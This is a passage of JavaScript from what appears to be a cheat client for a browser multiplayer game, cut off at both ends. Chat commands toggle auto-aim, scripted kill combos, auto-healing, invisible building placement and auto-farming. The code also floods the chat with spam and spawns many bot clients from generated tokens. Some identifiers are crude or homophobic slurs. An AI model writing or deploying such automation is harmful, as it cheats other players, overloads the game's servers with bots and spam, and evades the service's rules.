console.log("Successfully Done it On");
TrapAimbutok = true;
} else {
console.log("Successfully Done it off");
console.log("Successfully Done it off");
TrapAimbutok = false;
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/360") {
if (hit360 == true) {
hit360 = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
hit360 = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/ip") {
if (invisProjectile == true) {
invisProjectile = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
invisProjectile = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/aip") {
if (antiInvisProjectile == true) {
antiInvisProjectile = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
antiInvisProjectile = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/bhp") {
if (buildhp == true) {
buildhp = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
buildhp = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/Iplacer")
{
if (invisplacer == true) {
invisplacer = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
invisplacer = true;
normalplacer = false;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/Np") {
if (normalplacer == true) {
normalplacer = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
invisplacer = false;
normalplacer = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/agh") {
if (allgayhat == true) {
allgayhat = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
allgayhat = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/ar") {
if (autoreplace == true) {
autoreplace = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
autoreplace = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/Ai") {
if (AntiInsta == true) {
AntiInsta = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
AntiInsta = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/CT") {
if (clowntimer == true) {
clowntimer = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
clowntimer = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/CC") {
if (clowncounter == true) {
clowncounter = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
clowncounter = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/Pr") {
if (PrimaryReload == true) {
PrimaryReload = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
PrimaryReload = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/Sr") {
if (SecondaryReload == true) {
SecondaryReload = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
SecondaryReload = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/drug") {
if (drug == true) {
drug = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
drug = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/pw") {
if (pingwhy == true) {
pingwhy = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
pingwhy = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/cr") {
if (gaydierunner == true) {
gaydierunner = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
gaydierunner = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "~Stone") {
console.log("Successfully Done");
console.log("Successfully Done");
setTimeout(() => {
woodS = false;
foodS = false;
stoneS = true;
Golds = false;
doNewSend(["ch", ["{AutoFarmMode: Stone}"]]);
}, 500);
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "~Gold") {
console.log("Successfully Done");
console.log("Successfully Done");
setTimeout(() => {
woodS = false;
foodS = false;
stoneS = false;
Golds = true;
doNewSend(["ch", ["{AutoFarmMode: Gold}"]]);
}, 500);
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "~Wood") {
console.log("Successfully Done");
console.log("Successfully Done");
setTimeout(() => {
stoneS = false;
foodS = false;
woodS = true;
Golds = false;
doNewSend(["ch", ["{AutoFarmMode: Wood}"]]);
}, 500);
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "~Food") {
console.log("Successfully Done");
console.log("Successfully Done");
setTimeout(() => {
stoneS = false;
woodS = false;
foodS = true;
Golds = false;
doNewSend(["ch", ["{AutoFarmMode: Food}"]]);
}, 500);
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "~Stop") {
console.log("Successfully Done");
console.log("Successfully Done");
setTimeout(() => {
doNewSend(["c", [0, null]]);
stoneS = false;
woodS = false;
foodS = false;
Golds = false;
doNewSend(["ch", ["{AutoFarmMode: Stop}"]]);
}, 500);
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/sht") {
if (scarehideturret == true) {
scarehideturret = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
scarehideturret = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/s") {
if (test == true) {
test = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
test = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/s2") {
if (autospin == true) {
autospin = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
autospin = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/afh") {
console.log("Successfully Done");
console.log("Successfully Done");
if (allfreehattype == 1) {
allfreehattype = 0;
} else {
allfreehattype = 1;
policehat = 0;
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/ph") {
console.log("Successfully Done");
console.log("Successfully Done");
if (policehat == 1) {
policehat = 0;
} else {
policehat = 1;
allfreehattype = 0;
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/Bt") {
console.log("Successfully Done");
console.log("Successfully Done");
if (botType == 1) {
botType = 0;
} else {
botType = 1;
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/sot") {
if (Smartonetick == true) {
Smartonetick = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
Smartonetick = true;
TwoNormalinsta = false;
Normalinsta = false;
perfectreveseinsta = false;
onetick = false;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/ni2") {
if (TwoNormalinsta == true) {
TwoNormalinsta = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
Smartonetick = false;
TwoNormalinsta = true;
Normalinsta = false;
perfectreveseinsta = false;
onetick = false;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/ni") {
if (Normalinsta == true) {
Normalinsta = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
Smartonetick = false;
Normalinsta = true;
perfectreveseinsta = false;
TwoNormalinsta = false;
onetick = false;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/spi") {
if (Spaceinsta == true) {
Spaceinsta = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
Spaceinsta = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/bi") {
if (bowinsta == true) {
bowinsta = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
bowinsta = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/ri") {
if (perfectreveseinsta == true) {
perfectreveseinsta = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
Smartonetick = false;
Normalinsta = false;
perfectreveseinsta = true;
TwoNormalinsta = false;
onetick = false;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/ot") {
if (onetick == true) {
onetick = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
Smartonetick = false;
Normalinsta = false;
perfectreveseinsta = false;
TwoNormalinsta = false;
onetick = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] !== myPlayer.id && data[2].split(' ') == "!sync" &&
sync == true) {
doNewSend(["ch", ["sync detected"]]);
insta=true;
gona=false;
autoaim=!0;
autoaim=true;
autosecondary=true
doNewSend(["5", [secondary, true]]);
doNewSend(["33",[autoaim=true]]);
doNewSend(["13c",[0,0,1]]);
doNewSend(["13c",[1,53,0]]);
doNewSend(["13c",[0,53,0]]);
doNewSend(["13c",[1,21,1]]);
doNewSend(["13c",[0,21,1]]);
doNewSend(["c",[1]]);
setTimeout(()=>{
autosecondary=false
autoprimary=true
doNewSend(["5", [primary, true]]);
doNewSend(["13c",[1,7,0]]);
doNewSend(["13c",[0,7,0]]);
doNewSend(["13c",[0,0,1]]);
doNewSend(["13c",[1,18,1]]);
doNewSend(["13c",[0,18,1]]);
},90.5);
setTimeout(()=>{
autoprimary=false
doNewSend(["13c",[1,11,1]]);
doNewSend(["13c",[1,12,0]]);
doNewSend(["13c",[1,31,0]]);
doNewSend(["13c",[1,6,0]]);
doNewSend(["13c",[1,15,0]]);
doNewSend(["13c",[0,0,1]]);
doNewSend(["13c",[0,0,0]]);
if(myPlayer.y<2400){
doNewSend(["13c",[0,11,1]]);
doNewSend(["13c",[0,15,0]]);
}else if(myPlayer.y>6850&&myPlayer.y<7550){
doNewSend(["13c",[0,11,1]]);
doNewSend(["13c",[0,31,0]]);
}else if(isEnemyNear==true){
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["13c", [0, 6, 0]]);
} else {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
}
autoaim=!1;
autoaim=false;
doNewSend(["33",[autoaim=false]]);
doNewSend(["c",[0, null]]);
gona=false;
insta=false;
},292);
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/Cum") {
if (ChatSpam) {
ChatSpam0 = setTimeout(function(){ ChatSpamFC0(); }, 0);
} else {
clearTimeout(ChatSpam0);
clearTimeout(ChatSpam1);
clearTimeout(ChatSpam2);
clearTimeout(ChatSpam3);
clearTimeout(ChatSpam4);
clearTimeout(ChatSpam5);
clearTimeout(ChatSpam6);
clearTimeout(ChatSpam7);
clearTimeout(ChatSpam8);
clearTimeout(ChatSpam9);
clearTimeout(ChatSpam10);
clearTimeout(ChatSpam11);
clearTimeout(ChatSpam12);
clearTimeout(ChatSpam13);
clearTimeout(ChatSpam14);
clearTimeout(ChatSpam15);
clearTimeout(ChatSpam16);
clearTimeout(ChatSpam17);
clearTimeout(ChatSpam18);
clearTimeout(ChatSpam19);
clearTimeout(ChatSpam20);
clearTimeout(ChatSpam21);
clearTimeout(ChatSpam22);
clearTimeout(ChatSpam23);
clearTimeout(ChatSpam24);
clearTimeout(ChatSpam25);
clearTimeout(ChatSpam26);
clearTimeout(ChatSpam27);
clearTimeout(ChatSpam28);
clearTimeout(ChatSpam29);
clearTimeout(ChatSpam30);
clearTimeout(ChatSpam31);
clearTimeout(ChatSpam32);
clearTimeout(ChatSpam33);
clearTimeout(ChatSpam34);
clearTimeout(ChatSpam35);
clearTimeout(ChatSpam36);
clearTimeout(ChatSpam37);
clearTimeout(ChatSpam38);
clearTimeout(ChatSpam39);
clearTimeout(ChatSpam40);
clearTimeout(ChatSpam41);
clearTimeout(ChatSpam42);
clearTimeout(ChatSpam43);
clearTimeout(ChatSpam44);
clearTimeout(ChatSpam45);
clearTimeout(ChatSpam46);
clearTimeout(ChatSpam47);
clearTimeout(ChatSpam48);
clearTimeout(ChatSpam49);
clearTimeout(ChatSpam50);
clearTimeout(ChatSpam51);
clearTimeout(ChatSpam52);
clearTimeout(ChatSpam53);
clearTimeout(ChatSpam54);
clearTimeout(ChatSpam55);
clearTimeout(ChatSpam56);
clearTimeout(ChatSpam57);
clearTimeout(ChatSpam58);
clearTimeout(ChatSpam59);
clearTimeout(ChatSpam60);
clearTimeout(ChatSpam61);
clearTimeout(ChatSpam62);
clearTimeout(ChatSpam63);
clearTimeout(ChatSpam64);
clearTimeout(ChatSpam65);
clearTimeout(ChatSpam66);
clearTimeout(ChatSpam67);
clearTimeout(ChatSpam68);
clearTimeout(ChatSpam69);
clearTimeout(ChatSpam70);
clearTimeout(ChatSpam71);
clearTimeout(ChatSpam72);
clearTimeout(ChatSpam73);
clearTimeout(ChatSpam74);
clearTimeout(ChatSpam75);
clearTimeout(ChatSpam76);
clearTimeout(ChatSpam77);
clearTimeout(ChatSpam78);
clearTimeout(ChatSpam79);
}
ChatSpam = !ChatSpam;
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/gas") {
if (ChatSpamgas) {
ChatSpamgas1 = setTimeout(function(){ ChatSpamgasFC1(); }, 1);
} else {
clearTimeout(ChatSpamgas1);
clearTimeout(ChatSpamgas2);
clearTimeout(ChatSpamgas3);
clearTimeout(ChatSpamgas4);
clearTimeout(ChatSpamgas5);
clearTimeout(ChatSpamgas6);
clearTimeout(ChatSpamgas7);
clearTimeout(ChatSpamgas8);
clearTimeout(ChatSpamgas9);
clearTimeout(ChatSpamgas10);
clearTimeout(ChatSpamgas11);
clearTimeout(ChatSpamgas12);
clearTimeout(ChatSpamgas13);
clearTimeout(ChatSpamgas14);
clearTimeout(ChatSpamgas15);
clearTimeout(ChatSpamgas16);
clearTimeout(ChatSpamgas17);
clearTimeout(ChatSpamgas18);
clearTimeout(ChatSpamgas19);
clearTimeout(ChatSpamgas20);
clearTimeout(ChatSpamgas21);
clearTimeout(ChatSpamgas22);
clearTimeout(ChatSpamgas23);
clearTimeout(ChatSpamgas24);
clearTimeout(ChatSpamgas25);
clearTimeout(ChatSpamgas26);
clearTimeout(ChatSpamgas27);
clearTimeout(ChatSpamgas28);
clearTimeout(ChatSpamgas29);
clearTimeout(ChatSpamgas30);
clearTimeout(ChatSpamgas31);
clearTimeout(ChatSpamgas32);
clearTimeout(ChatSpamgas33);
clearTimeout(ChatSpamgas34);
clearTimeout(ChatSpamgas35);
clearTimeout(ChatSpamgas36);
clearTimeout(ChatSpamgas37);
clearTimeout(ChatSpamgas38);
clearTimeout(ChatSpamgas39);
clearTimeout(ChatSpamgas40);
clearTimeout(ChatSpamgas41);
}
ChatSpamgas = !ChatSpamgas;
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/eai") {
if (empanti == true) {
empanti = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
empanti = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/abll") {
if (Pussyantibullalso == true) {
Pussyantibullalso = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
Pussyantibullalso = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/ehq") {
if (emphatq == true) {
emphatq = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
emphatq = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/aq") {
if (autoq == true) {
autoq = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
autoq = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/abi") {
if (anbi == true) {
anbi = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
anbi = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if (data[0] == "ch" && data[1] == myPlayer.id && data[2].split(' ') == "/ars") {
if (arspawn == true) {
arspawn = false;
console.log("Successfully Done it off");
console.log("Successfully Done it off");
} else {
arspawn = true;
console.log("Successfully Done it On");
console.log("Successfully Done it On");
}
}
if(item == "ch" && data[1] == myPlayer.id) {
if ("/bots[amt:" == data[2].substring(0, 10)) {
const promises = [];
for(let i = 0; i < parseInt(data[2].slice(10, data[2].indexOf("]"))); i++)
promises.push(generateToken());
Promise.all(promises).then(t => {
let tokens = t;
console.log('generated: ', tokens);
for(let i = 0; i < parseInt(data[2].slice(10, data[2].indexOf("]"))); i++) {
connectBot(tokens[i]);
};
});
setTimeout(() => chat("Bots Spawned : " + data[2].slice(10, data[2].indexOf("]"))),
800);
}
}
if (item == "6") {
for(let i = 0; i < data[1].length / 8; i++){
let objectInfo = data[1].slice(8*i, 8*i+8);
if(objectInfo[6] == 15 && objectInfo[7] != myPlayer.id){
if(Math.sqrt(Math.pow((myPlayer.y-objectInfo[2]), 2) + Math.pow((myPlayer.x-
objectInfo[1]), 2)) < 100){
TrapCoord.x = objectInfo[1];
TrapCoord.y = objectInfo[2];
trap_a = Math.atan2(TrapCoord.y - myPlayer.y, TrapCoord.x - myPlayer.x);
for (let i=0;i<36;i++){
let angle = myPlayer.dir + toRad(i * 10);
place(boostType, angle)
place(millType, angle)
}
trapid = objectInfo[0];
intrap = true;
}
}
}
}
if(normalplacer == true &&millToggle == 1 && hit === false && lmao === false) {
if(Math.sqrt(Math.pow((Y - myPlayer.y), 2) + Math.pow((X - myPlayer.x), 2)) > 85) {
let angle = Math.atan2(Y - myPlayer.y, X - myPlayer.x);
place(millType, (angle));
place(millType, (angle - toRad(72)));
place(millType, (angle + toRad(72)));
X = myPlayer.x;
Y = myPlayer.y;
}
}
if (invisplacer == true && millToggle == 1 && hit === false && lmao === false) {
if (Math.sqrt(Math.pow((Y - myPlayer.y), 2) + Math.pow((X - myPlayer.x), 2)) > 85)
{
let angle = Math.atan2(Y - myPlayer.y, X - myPlayer.x);
invisplace(millType, angle + toRad(0xe54324dc82 + 67));
invisplace(millType, angle - toRad(0xe54324dc82 + 67));
invisplace(millType, angle + toRad(0xe54324dc82 + 0));
X = myPlayer.x;
Y = myPlayer.y;
}
}
if (item == "18" && anbi && nearestEnemy) {
if (Math.sqrt(Math.pow((myPlayer.y - nearestEnemy[2]), 2) + Math.pow((myPlayer.x -
nearestEnemy[1]), 2)) < 4700) {
place(millType);
place(foodType, null);
place(foodType, null);
place(foodType, null);
place(foodType, null);
place(millType);
}
}
if (item == "12") {
if(intrap == true) {
if(trapid == data[1]) {
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 0, 1]]);
TrapCoord.x = null;
TrapCoord.y = null;
intrap = false;
doNewSend(["c", [0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
if(myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if(myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else if(isEnemyNear == true){
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
} else {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
}
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
setTimeout(() => {
for (let i=0;i<36;i++){
let angle = nearestEnemyAngle + toRad(i * 10);
place(boostType, angle)
}
}, 50)
}
}
}
if(autoreplace == true && intrap == false) {
if (item == "12") {
if(Math.sqrt(Math.pow((myPlayer.y-nearestEnemy[2]), 2) + Math.pow((myPlayer.x-
nearestEnemy[1]), 2)) < 200) {
place(spikeType, nearestEnemyAngle)
for (let i=0;i<14;i++){
let angle = nearestEnemyAngle + toRad(i*5);
place(spikeType, angle)
}
for (let i=0;i<14;i++){
let angle = nearestEnemyAngle - toRad(i*5);
place(spikeType, angle)
}
}
for (let i=0;i<36;i++){
let angle = nearestEnemyAngle + toRad(i * 10);
place(boostType, angle)
}
}
}
if (item == "9") {
if (data[1] == "wood") {
myPlayer.wood = data[2];
}
if (data[1] == "Gold") {
myPlayer.Gold = data[2];
}
if (data[1] == "stone") {
myPlayer.stone = data[2];
}
if (data[1] == "food") {
myPlayer.food = data[2];
}
if (data[1] == "points") {
myPlayer.points = data[2];
}
if (data[1] == "kills") {
myPlayer.kills = data[2];
}
}
if (item == "6") {
for (let i = 0; i < data[1].length / 8; i++) {
let info = data[1].slice(8 * i, 8 * i + 8);
if (info[5] == 4) {
Golds.push(info);
}
if (info[5] == 0) {
trees.push(info);
}
if (info[5] == 1) {
foods.push(info);
}
if (info[5] == 2) {
stones.push(info);
}
if (info[5] == 3) {
mines.push(info);
}
}
}
if (trees) {
nearestTree = trees.sort((a, b) => dist(a, myPlayer) - dist(b, myPlayer))[0];
if (nearestTree) {
nearestTreeAngle = Math.atan2(nearestTree[2] - myPlayer.y, nearestTree[1] -
myPlayer.x);
}
}
if (foods) {
nearestFood = foods.sort((a, b) => dist(a, myPlayer) - dist(b, myPlayer))[0];
if (nearestFood) {
nearestFoodAngle = Math.atan2(nearestFood[2] - myPlayer.y, nearestFood[1] -
myPlayer.x);
}
}
if (stones) {
nearestStone = stones.sort((a, b) => dist(a, myPlayer) - dist(b, myPlayer))[0];
if (nearestStone) {
nearestStoneAngle = Math.atan2(nearestStone[2] - myPlayer.y, nearestStone[1] -
myPlayer.x);
}
}
if (mines) {
nearestMine = mines.sort((a, b) => dist(a, myPlayer) - dist(b, myPlayer))[0];
if (nearestMine) {
nearestMineAngle = Math.atan2(nearestMine[2] - myPlayer.y, nearestMine[1] -
myPlayer.x);
}
}
if (Golds) {
nearestGold = Golds.sort((a, b) => dist(a, myPlayer) - dist(b, myPlayer))[0];
if (nearestGold) {
nearestGoldAngle = Math.atan2(nearestGold[2] - myPlayer.y, nearestGold[1] -
myPlayer.x);
}
}
if (item == "33") {
enemiesNear = [];
for(let i = 0; i < data[1].length / 13; i++) {
let playerInfo = data[1].slice(13*i, 13*i+13);
if(playerInfo[0] == myPlayer.id) {
myPlayer.x = playerInfo[1];
myPlayer.y = playerInfo[2];
myPlayer.dir = playerInfo[3];
myPlayer.object = playerInfo[4];
myPlayer.weapon = playerInfo[5];
myPlayer.clan = playerInfo[7];
myPlayer.isLeader = playerInfo[8];
myPlayer.hat = playerInfo[9];
myPlayer.accessory = playerInfo[10];
myPlayer.isSkull = playerInfo[11];
} else if(playerInfo[7] != myPlayer.clan || playerInfo[7] === null) {
enemiesNear.push(playerInfo);
}
}
}
isEnemyNear = false;
if(enemiesNear) {
nearestEnemy = enemiesNear.sort((a,b) => dist(a, myPlayer) - dist(b, myPlayer))[0];
}
if(nearestEnemy) {
nearestEnemyAngle = Math.atan2(nearestEnemy[2]-myPlayer.y, nearestEnemy[1]-
myPlayer.x);
if(Math.sqrt(Math.pow((myPlayer.y-nearestEnemy[2]), 2) + Math.pow((myPlayer.x-
nearestEnemy[1]), 2)) < 300) {
isEnemyNear = true;
if(autoaim == false && myPlayer.hat != 7 && myPlayer.hat != 53) {
normalHat = 6;
if(primary != 8) {
normalAcc = 19
}
};
}
}
if (nearestEnemy && autoInsta) {
if (Math.sqrt(Math.pow((myPlayer.y-nearestEnemy[2]), 2) + Math.pow((myPlayer.x-
nearestEnemy[1]), 2)) < 195) {
autoInsta = false;
autoprimary = true;
autosecondary = false;
autoaim = true;
autoprimary = true;
autosecondary = false;
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["5", [primary, true]]);
doNewSend(["c", [1]]);
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
doNewSend(["13c", [1, 18, 1]]);
doNewSend(["13c", [0, 18, 1]]);
setTimeout( () => {
autoprimary = false;
autosecondary = true;
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["13c", [0, 0, 1]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["5", [secondary, true]]);
}, 107.5);
setTimeout( () => {
doNewSend(["13c", [0, 0, 0]]);
doNewSend(["c", [0, null]]);
doNewSend(["5", [primary, true]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["c", [0, null]]);
if (myPlayer.y < 2400){
doNewSend(["13c", [1, 15, 0]]);
doNewSend(["13c", [0, 15, 0]]);
} else if (myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [1, 31, 0]]);
doNewSend(["13c", [0, 31, 0]]);
} else {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [1, 11, 1]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 11, 1]]);
}
autosecondary = false;
autoaim = false;
}, 215);
}
}
if(gona == true) {
if(PriReloaded == false && myPlayer.weapon != primary && can_R == true) {
}else if (PriReloaded){
gona = false;
insta = true;
autoaim = true;
}
}
var namegen = generator();
var sadtext = document.getElementById("enterGame").innerText;
if (sadtext == "Enter Game" && XD == true) {;
XD = false;
doNewSend(["sp", [{
name: namegen,
moofoll: 1,
skin: Math.floor(Math.random() * 10)
}]]);
console.log("Auto Spawning")
}
if (arspawn == true) {
if (data[0] == "11") {
doNewSend(["sp", [{
name: namegen,
moofoll: 1,
skin: Math.floor(Math.random() * 10)
}]]);
setTimeout(() => document.getElementById("mainMenu").style.display = "none", 3e3);
console.log("Auto Respawning")
}
}
if(isEnemyNear == false && autoaim == false) {
normalAcc = 11;
if (myPlayer.y < 2400){
normalHat = 15;
} else if (myPlayer.y > 6850 && myPlayer.y < 7550){
normalHat = 31;
} else {
normalHat = 12;
}
}
if (!nearestEnemy) {
nearestEnemyAngle = myPlayer.dir;
}
if(item == "h" && data[1] == myPlayer.id) {
if(data[2] < 56 && data[2] > 0 && myPlayer.hat == 6 && AntiInsta == true && um == 0
&& isEnemyNear == true) {
autoqidk = true;
place(foodType, null);
place(foodType, null);
setTimeout( () => {
um = 1;
place(foodType, null);
}, 150);
um = 0;
setTimeout( () => {
autoqidk = false;
}, 205);
}
}
if(item == "h" && data[1] == myPlayer.id) {
if(data[2] < 56 && data[2] > 0 && AntiInsta == true && um == 0 && isEnemyNear ==
true) {
autoqidk = true;
place(foodType, null);
place(foodType, null);
setTimeout( () => {
um = 1;
place(foodType, null);
}, 150);
um = 0;
setTimeout( () => {
autoqidk = false;
}, 205);
}
}
if (item == "h" && data[1] == myPlayer.id) {
if(data[2] < 56 && whatisthis == true && myPlayer.hat == 11 &&
myPlayer.accessory == 21 && isEnemyNear == true) {
autoaim = true;
autoprimary = true;
autosecondary = false;
doNewSend(["5", [primary, true]]);
doNewSend(["c", [1]]);
doNewSend(["13c", [1, 7, 0]]);
doNewSend(["13c", [0, 7, 0]]);
setTimeout( () => {
autoprimary = false;
autosecondary = true;
doNewSend(["13c", [1, 53, 0]]);
doNewSend(["13c", [0, 53, 0]]);
doNewSend(["5", [secondary, true]]);
}, 100);
setTimeout( () => {
if (myPlayer.y < 2400){
doNewSend(["13c", [0, 15, 0]]);
} else if (myPlayer.y > 6850 && myPlayer.y < 7550){
doNewSend(["13c", [0, 31, 0]]);
} else {
doNewSend(["13c", [0, 12, 0]]);
}
doNewSend(["c", [0, null]]);
doNewSend(["13c", [0, 0, 1]]);
autosecondary = false;
autoaim = false;
doNewSend(["13c", [0, 11, 1]]);
doNewSend(["5", [primary, true]]);
}, 220);
}
}
if (item == "h" && data[1] == myPlayer.id && autoq == true) {
if (nearestEnemy[9] == 7 && emphatq == true) { // if enemy hat is bull
doNewSend(["13c", [1, 22, 0]]);//Auto Buy emp if have gold
doNewSend(["13c", [0, 22, 0]]); //put on emp
}
if (nearestEnemy[5] == 15 && nearestEnemy[9] == 53) { //if enemy weapon is
musket and hat is turret
let jx, jw;
jx = setInterval(() => {
place(foodType); //heal
place(foodType); //heal
clearInterval(jx);
